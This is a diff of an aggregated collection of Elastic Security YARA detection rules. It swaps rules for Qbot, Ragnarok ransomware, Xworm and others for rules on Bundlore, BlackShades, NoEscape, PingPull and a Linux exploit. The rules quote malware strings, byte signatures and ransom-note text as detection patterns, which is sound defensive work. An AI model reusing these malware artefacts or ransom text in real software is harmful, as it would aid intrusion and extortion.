-		6 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Qbot_1Ac22A26 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_650B8Ff4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Qbot (Windows.Trojan.Qbot)"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "1ac22a26-ec88-4e88-8fe6-a092bbb61904"
-		date = "2022-12-29"
-		modified = "2023-02-01"
-		reference = "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Qbot.yar#L99-L136"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a"
-		logic_hash = "d9beaf4a8c28a0b3c38dda6bf22a96b8c96ef715bd36de880504a9f970338fe2"
+		id = "650b8ff4-6cc8-4bfc-ba01-ac9c86410ecc"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "78fd2c4afd7e810d93d91811888172c4788a0a2af0b88008573ce8b6b819ae5a"
+		logic_hash = "e8a706db010e9c3d9714d5e7a376e9b2189af382a7b01db9a9e7ee947e9637bb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "22436c48bc775284d1f682eaeb650fd998302021342efc322c4ca40dd30f1a0d"
+		fingerprint = "4f4691f6830684a71e7b3ab322bf6ec4638bf0035adf3177dbd0f02e54b3fd80"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = "qbot" wide
-		$a2 = "stager_1.obf\\Benign\\mfc" wide
-		$a3 = "common.obf\\Benign\\mfc" wide
-		$a4 = "%u;%u;%u"
-		$a5 = "%u.%u.%u.%u.%u.%u.%04x"
-		$a6 = "%u&%s&%u"
-		$a7 = "mnjhuiv40"
-		$a8 = "\\u%04X"
-		$get_string1 = { 33 D2 8B ?? 6A ?? 5? F7 ?? 8B ?? 08 8A 04 ?? 8B 55 ?? 8B ?? 10 3A 04 }
-		$get_string2 = { 8B C6 83 E0 ?? 8A 04 08 3A 04 1E 74 ?? 46 3B F2 72 }
-		$get_string3 = { 8A 04 ?? 32 04 ?? 88 04 ?? 4? 83 ?? 01 }
-		$set_key_1 = { 8D 87 00 04 00 00 50 56 E8 [4] 59 8B D0 8B CE E8 }
-		$set_key_2 = { 59 6A 14 58 6A 0B 66 89 87 [0-1] 20 04 00 00 }
-		$cccp_keyboard_0 = { 6A ?? 66 89 45 E? 58 6A ?? 66 89 45 E? 58 }
-		$cccp_keyboard_1 = { 66 8B 84 9? ?? FE FF FF B9 FF 03 00 00 66 23 C1 33 ?? 0F B7 }
-		$execute_each_tasks = { 8B 0D [4] 83 7C 0E 04 00 74 ?? 83 7C 0E 1C 00 74 ?? 8B 04 0E 85 C0 7E ?? 6B C0 3C }
-		$generate_random_alpha_num_string = { 57 E8 [4] 48 50 8D 85 [4] 6A 00 50 E8 [4] 8B 4D ?? 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C }
-		$load_and_inject_b64_dll_from_file = { 6B 45 FC 18 8B 4D F8 83 7C 01 04 00 76 ?? 6A 00 6B 45 FC 18 8B 4D F8 FF 74 01 10 6B 45 FC 18 }
-		$decipher_rsrc_data = { F6 86 38 04 00 00 04 89 BE 2C 04 00 00 89 BE 28 04 00 00 [2-6] 8B 0B 8D 45 F? 83 65 F? 00 8B D7 50 E8 }
+		$a = { 35 8B 11 00 00 60 80 35 85 11 00 00 12 80 35 7F 11 00 00 8C 80 35 79 11 00 00 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Macos_Trojan_Bundlore_C8Ad7Edd : FILE MEMORY
+{
+	meta:
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		author = "Elastic Security"
+		id = "c8ad7edd-4233-44ce-a4e5-96dfc3504f8a"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d4915473e1096a82afdaee405189a0d0ae961bd11a9e5e9adc420dd64cb48c24"
+		logic_hash = "be09b4bd612bb499044fe91ca4e1ab62405cf1e4d75b8e1da90e326d1c66e04f"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "c6a8a1d9951863d4277d297dd6ff8ad7b758ca2dfe16740265456bb7bb0fd7d0"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "macos"
+
+	strings:
+		$a = { 35 74 11 00 00 D5 80 35 6E 11 00 00 57 80 35 68 11 00 00 4C 80 35 62 11 00 00 }
+
+	condition:
+		all of them
+}
+rule ELASTIC_Macos_Trojan_Bundlore_Cb7344Eb : FILE MEMORY
+{
+	meta:
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
+		author = "Elastic Security"
+		id = "cb7344eb-51e6-4f17-a5d4-eea98938945b"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L161-L179"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "53373668d8c5dc17f58768bf59fb5ab6d261a62d0950037f0605f289102e3e56"
+		logic_hash = "6b5e868dfd14e9b1cdf3caeb1216764361b28c1dd38849526baf5dbdb1020d8d"
+		score = 75
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "6041c50c9eefe9cafb8768141cd7692540f6af2cdd6e0a763b7d7e50b8586999"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "macos"
+
+	strings:
+		$a = { 35 ED 09 00 00 92 80 35 E7 09 00 00 93 80 35 E1 09 00 00 16 80 35 DB 09 00 00 }
 
 	condition:
-		6 of them
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Hloader_A3945Baf : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_753E5738 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Hloader (MacOS.Trojan.HLoader)"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "a3945baf-4708-4a0b-8a9b-1a5448ee4bc7"
-		date = "2023-10-23"
-		modified = "2023-10-23"
+		id = "753e5738-0c72-4178-9396-d1950e868104"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_HLoader.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1"
-		logic_hash = "0383485b6bbcdae210a6c949f6796023b2f7ec3f1edbd2116207fc2b75a67849"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L181-L199"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "42aeea232b28724d1fa6e30b1aeb8f8b8c22e1bc8afd1bbb4f90e445e31bdfe9"
+		logic_hash = "7a6907b51c793e4182c1606eab6f2bcb71f0350a34aef93fa3f3a9f1a49961ba"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a48ec79f07a6a53611b1d1e8fe938513ec0ea19344126e07331b48b028cb877e"
+		fingerprint = "c0a41a8bc7fbf994d3f5a5d6c836db3596b1401b0e209a081354af2190fcb3c2"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -62823,59 +67045,57 @@ rule ELASTIC_Macos_Trojan_Hloader_A3945Baf : FILE MEMORY
 		os = "macos"
 
 	strings:
-		$seq_main = { 74 ?? 49 89 C7 48 89 D8 4C 89 FF E8 ?? ?? ?? ?? 48 89 DF 31 F6 BA ?? ?? ?? ?? 4C 89 65 ?? 4D 89 F4 4C 89 F1 4C 8B 75 ?? 41 FF 56 ?? }
-		$seq_exec = { 48 B8 00 00 00 00 00 00 00 E0 48 89 45 ?? 4C 8D 6D ?? BF 11 00 00 00 E8 ?? ?? ?? ?? 0F 10 45 ?? 0F 11 45 ?? 48 BF 65 78 65 63 46 69 6C 65 48 BE 20 65 72 72 6F 72 20 EF }
-		$seq_rename = { 41 89 DE 84 DB 74 ?? 48 8B 7D ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? }
+		$a = { 35 9A 11 00 00 96 80 35 94 11 00 00 68 80 35 8E 11 00 00 38 80 35 88 11 00 00 }
 
 	condition:
-		2 of ($seq*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ragnarok_1Cab7Ea1 : BETA FILE MEMORY
+rule ELASTIC_Macos_Trojan_Bundlore_7B9F0C28 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RAGNAROK ransomware"
+		description = "Detects Macos Trojan Bundlore (MacOS.Trojan.Bundlore)"
 		author = "Elastic Security"
-		id = "1cab7ea1-8d26-4478-ab41-659c193b5baa"
-		date = "2020-05-03"
-		modified = "2021-08-23"
-		reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ragnarok.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8bae3ea4304473209fc770673b680154bf227ce30f6299101d93fe830da0fe91"
+		id = "7b9f0c28-181d-4fdc-8a57-467d5105129a"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Bundlore.yar#L201-L219"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fc4da125fed359d3e1740dafaa06f4db1ffc91dbf22fd5e7993acf8597c4c283"
+		logic_hash = "32abbb76c866e3a555ee6a9c39f62a0712f641959b66068abfb4379baa9a9da9"
 		score = 75
-		quality = 73
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "e2a8eabb08cb99c4999e05a06d0d0dce46d7e6375a72a6a5e69d718c3d54a3ad"
-		threat_name = "Windows.Ransomware.Ragnarok"
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "dde16fdd37a16fa4dae24324283cd4b36ed2eb78f486cedd1a6c7bef7cde7370"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$c1 = ".ragnarok" ascii wide fullword
+		$a = { 35 B6 15 00 00 81 80 35 B0 15 00 00 14 80 35 AA 15 00 00 BC 80 35 A4 15 00 00 }
 
 	condition:
-		1 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ragnarok_7E802F95 : BETA FILE MEMORY
+rule ELASTIC_Windows_Trojan_Blackshades_9D095C44 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RAGNAROK ransomware"
+		description = "Detects Windows Trojan Blackshades (Windows.Trojan.BlackShades)"
 		author = "Elastic Security"
-		id = "7e802f95-964e-4dd9-a5d1-13a6cd73d750"
-		date = "2020-05-03"
-		modified = "2021-08-23"
-		reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ragnarok.yar#L22-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8f293cdbdc3c395e18c304dfa43d0dcdb52b18bde5b5d084190ceec70aea6cbd"
+		id = "9d095c44-5047-453e-8435-f30de94565e6"
+		date = "2022-02-28"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BlackShades.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e58e352edaa8ae7f95ab840c53fcaf7f14eb640df9223475304788533713c722"
+		logic_hash = "2a2e6325d3de9289cc8bc26e1fe89a8fa81d9aae50b92ba2cf21c4cc6556ac9e"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "c62b3706a2024751f1346d0153381ac28057995cf95228e43affc3d1e4ad0fad"
-		threat_name = "Windows.Ransomware.Ragnarok"
+		tags = "FILE, MEMORY"
+		fingerprint = "be7d4c8200c293c3c8046d9f87b0d127ff051679ae1caeab12c533ea4309a1fc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -62883,29 +67103,35 @@ rule ELASTIC_Windows_Ransomware_Ragnarok_7E802F95 : BETA FILE MEMORY
 		os = "windows"
 
 	strings:
-		$d1 = { 68 04 94 42 00 FF 35 A0 77 43 00 }
-		$d2 = { 68 90 94 42 00 FF 35 A0 77 43 00 E8 8F D6 00 00 8B 40 10 50 }
+		$a1 = "*\\AD:\\Blackshades Project\\bs_net\\server\\server.vbp" wide fullword
+		$a2 = "@*\\AD:\\Blackshades Project\\bs_net\\server\\server.vbp" wide fullword
+		$a3 = "D:\\Blackshades Project\\bs_net\\loginserver\\msvbvm60.dll\\3" ascii fullword
+		$b1 = "modSniff" ascii fullword
+		$b2 = "UDPFlood" ascii fullword
+		$b3 = "\\nir_cmd.bss speak text " wide fullword
+		$b4 = "\\pws_chro.bss" wide fullword
+		$b5 = "tmrLiveLogger" ascii fullword
 
 	condition:
-		1 of ($d*)
+		1 of ($a*) or all of ($b*)
 }
-rule ELASTIC_Windows_Ransomware_Ragnarok_Efafbe48 : BETA FILE MEMORY
+rule ELASTIC_Windows_Trojan_Blackshades_Be382Dac : FILE MEMORY
 {
 	meta:
-		description = "Identifies RAGNAROK ransomware"
+		description = "Detects Windows Trojan Blackshades (Windows.Trojan.BlackShades)"
 		author = "Elastic Security"
-		id = "efafbe48-7740-4c21-b585-467f7ad76f8d"
-		date = "2020-05-03"
-		modified = "2021-08-23"
-		reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ragnarok.yar#L44-L71"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "c9d203620e0e6e04d717595ca70a5e5efa74abfc11e4e732d729caab2d246c27"
+		id = "be382dac-6a6f-43e4-86bb-c62f0db9b43a"
+		date = "2022-02-28"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_BlackShades.yar#L28-L46"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e58e352edaa8ae7f95ab840c53fcaf7f14eb640df9223475304788533713c722"
+		logic_hash = "a13e37e7930d2d1ed1aa4fdeb282f11bfeb7fe008625589e2bfeab0beea43580"
 		score = 75
 		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "a1535bc01756ac9e986eb564d712b739df980ddd61cfde5a7b001849a6b07b57"
-		threat_name = "Windows.Ransomware.Ragnarok"
+		tags = "FILE, MEMORY"
+		fingerprint = "e7031c42e51758358db32d8eba95f43be7dd5c4b57e6f9a76f0c3b925eae4e43"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -62913,36 +67139,28 @@ rule ELASTIC_Windows_Ransomware_Ragnarok_Efafbe48 : BETA FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "cmd_firewall" ascii fullword
-		$a2 = "cmd_recovery" ascii fullword
-		$a3 = "cmd_boot" ascii fullword
-		$a4 = "cmd_shadow" ascii fullword
-		$a5 = "readme_content" ascii fullword
-		$a6 = "readme_name" ascii fullword
-		$a8 = "rg_path" ascii fullword
-		$a9 = "cometosee" ascii fullword
-		$a10 = "&prv_ip=" ascii fullword
+		$a1 = { 09 0E 4C 09 10 54 09 0E 4C 09 10 54 09 0E 4C 09 10 54 09 10 54 }
 
 	condition:
-		6 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Ransomware_Ragnarok_5625D3F6 : BETA FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Generic_99F5A632 : FILE MEMORY
 {
 	meta:
-		description = "Identifies RAGNAROK ransomware"
+		description = "Detects Windows Ransomware Generic (Windows.Ransomware.Generic)"
 		author = "Elastic Security"
-		id = "5625d3f6-7071-4a09-8ddf-faa2d081b539"
-		date = "2020-05-03"
-		modified = "2021-08-23"
-		reference = "https://twitter.com/malwrhunterteam/status/1256263426441125888?s=20"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Ragnarok.yar#L73-L95"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "8c22cf9dfbeba7391f6d2370c88129650ef4c778464e676752de1d0fd9c5b34e"
+		id = "99f5a632-8562-4321-b707-c5f583b14511"
+		date = "2022-02-24"
+		modified = "2022-02-24"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Generic.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382"
+		logic_hash = "2284cfc91d17816f1733e8fe319af52bc66af467364d27f84e213082c216ae8b"
 		score = 75
-		quality = 75
-		tags = "BETA, FILE, MEMORY"
-		fingerprint = "5c0a4e2683991929ff6307855bf895e3f13a61bbcc6b3c4b47d895f818d25343"
-		threat_name = "Windows.Ransomware.Ragnarok"
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "84ab8d177e50bce1a3eceb99befcf05c7a73ebde2f7ea4010617bf4908257fdb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -62950,95 +67168,91 @@ rule ELASTIC_Windows_Ransomware_Ragnarok_5625D3F6 : BETA FILE MEMORY
 		os = "windows"
 
 	strings:
-		$b1 = "prv_ip" ascii fullword
-		$b2 = "%i.%i.%i" ascii fullword
-		$b3 = "pub_ip" ascii fullword
-		$b4 = "cometosee" ascii fullword
+		$a1 = "stephanie.jones2024@protonmail.com"
+		$a2 = "_/C_/projects/403forBiden/wHiteHousE.init" ascii fullword
+		$a3 = "All your files, documents, photoes, videos, databases etc. have been successfully encrypted" ascii fullword
+		$a4 = "<p>Do not try to decrypt then by yourself - it's impossible" ascii fullword
 
 	condition:
-		all of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Xworm_732E6C12 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Noescape_6De58E0C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Xworm (Windows.Trojan.Xworm)"
+		description = "Detects Linux Ransomware Noescape (Linux.Ransomware.NoEscape)"
 		author = "Elastic Security"
-		id = "732e6c12-9ee0-4d04-a6e4-9eef874e2716"
-		date = "2023-04-03"
-		modified = "2023-04-23"
+		id = "6de58e0c-67f9-4344-9fe9-26bfc37e537e"
+		date = "2023-07-27"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Xworm.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bf5ea8d5fd573abb86de0f27e64df194e7f9efbaadd5063dee8ff9c5c3baeaa2"
-		logic_hash = "6aa72029eeeb2edd2472bf0db80b9c0ae4033d7d977cbee75ac94414d1cdff7a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_NoEscape.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "46f1a4c77896f38a387f785b2af535f8c29d40a105b63a259d295cb14d36a561"
+		logic_hash = "c275d0cfdadcaabe57c432956e96b4bb344d947899fa5ad55b872e02b4d44274"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "afbef8e590105e16bbd87bd726f4a3391cd6a4489f7a4255ba78a3af761ad2f0"
+		fingerprint = "60a160abcbb6d93d9ee167663e419047f3297d549c534cbe66d035a0aa36d806"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "startsp" ascii wide fullword
-		$str2 = "injRun" ascii wide fullword
-		$str3 = "getinfo" ascii wide fullword
-		$str4 = "Xinfo" ascii wide fullword
-		$str5 = "openhide" ascii wide fullword
-		$str6 = "WScript.Shell" ascii wide fullword
-		$str7 = "hidefolderfile" ascii wide fullword
+		$a1 = "HOW_TO_RECOVER_FILES.txt"
+		$a2 = "large_file_size_mb"
+		$a3 = "note_text"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Blackbone_2Ff5Ec38 : FILE
+rule ELASTIC_Linux_Trojan_Hiddad_E35Bff7B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Blackbone (Windows.Hacktool.BlackBone)"
+		description = "Detects Linux Trojan Hiddad (Linux.Trojan.Hiddad)"
 		author = "Elastic Security"
-		id = "2ff5ec38-ce35-432a-8ffa-d459f84438dd"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "e35bff7b-1a93-4cfd-a4b6-1e994c0afa98"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_BlackBone.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4e3887f950bff034efedd40f1e949579854a24140128246fa6141f2c34de6017"
-		logic_hash = "0c32bd04460cdf7a56664253992a684c2c684b15ac9ca853b27ab24f07f71607"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Hiddad.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "22a418e660b5a7a2e0cc1c1f3fe1d150831d75c4fedeed9817a221194522efcf"
+		logic_hash = "3881222807585dc933cb61473751d13297fa7eb085a50d435d3b680354a35ee9"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "e3df60931c040081214296f006d98e155a5dc7e285a840a1decb23186ef67465"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "0ed46ca8a8bd567acf59d8a15a9597d7087975e608f42af57d36c31e777bb816"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "BlackBone: %s: ZwCreateThreadEx hThread 0x%X"
+		$a = { 3C 14 48 63 CF 89 FE 48 69 C9 81 80 80 80 C1 FE 1F 48 C1 E9 20 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Amadey_7Abb059B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pingpull_09Dd9559 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Amadey (Windows.Trojan.Amadey)"
+		description = "Detects Windows Trojan Pingpull (Windows.Trojan.Pingpull)"
 		author = "Elastic Security"
-		id = "7abb059b-4001-4eec-8185-1e0497e15062"
-		date = "2021-06-28"
-		modified = "2021-08-23"
+		id = "09dd9559-ce77-4f55-9e81-3b90add40103"
+		date = "2022-06-16"
+		modified = "2022-07-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Amadey.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e"
-		logic_hash = "23b75d6df9e2a7f8e1efee46ecaf1fc84247312b19a8a1941ddbca1b2ce5e1db"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Pingpull.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "de14f22c88e552b61c62ab28d27a617fb8c0737350ca7c631de5680850282761"
+		logic_hash = "114674b1a9acfc7643138d3b07885343a50c9d319b8d22a6ef34e916685c4469"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f"
+		fingerprint = "b471e0f40780523bf396323a3b70fd285944fef2960ae43a36068eaf2f2fea4f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -63046,57 +67260,63 @@ rule ELASTIC_Windows_Trojan_Amadey_7Abb059B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 18 83 78 14 10 72 02 8B 00 6A 01 6A 00 6A 00 6A 00 6A 00 56 }
+		$s1 = "PROJECT_%s_%s_%08X" ascii fullword
+		$s2 = "Iph1psvc" ascii fullword
+		$s3 = "IP He1per" ascii fullword
+		$s4 = "If this service is stopped, the computer will not have the enhanced connectivity benefits that these technologies offer."
+		$a1 = { 02 C? 66 C7 44 24 ?? 3A 00 4C 8D 44 24 ?? 88 4C 24 ?? 48 83 C9 FF 88 44 24 ?? F2 AE 33 ?? 0F 1F }
+		$a2 = { 48 85 FF 74 ?? 41 C1 E0 04 0F B6 4C 3C ?? 33 D2 8D 41 ?? ?? 19 77 ?? 80 C1 E0 8D 41 ?? 3C 09 77 }
+		$a3 = { 4C 63 74 24 ?? 48 8B ?? 43 8D 44 36 ?? 4C 63 E8 49 8B CD E8 ?? ?? ?? ?? 48 8B ?? 48 85 C0 0F 84 }
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Trojan_Amadey_C4Df8D4A : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2019_13272_583Dd2C0 : FILE MEMORY CVE_2019_13272
 {
 	meta:
-		description = "Detects Windows Trojan Amadey (Windows.Trojan.Amadey)"
+		description = "Detects Linux Exploit Cve 2019 13272 (Linux.Exploit.CVE-2019-13272)"
 		author = "Elastic Security"
-		id = "c4df8d4a-01f4-466f-8225-7c7f462b29e7"
-		date = "2021-06-28"
-		modified = "2021-08-23"
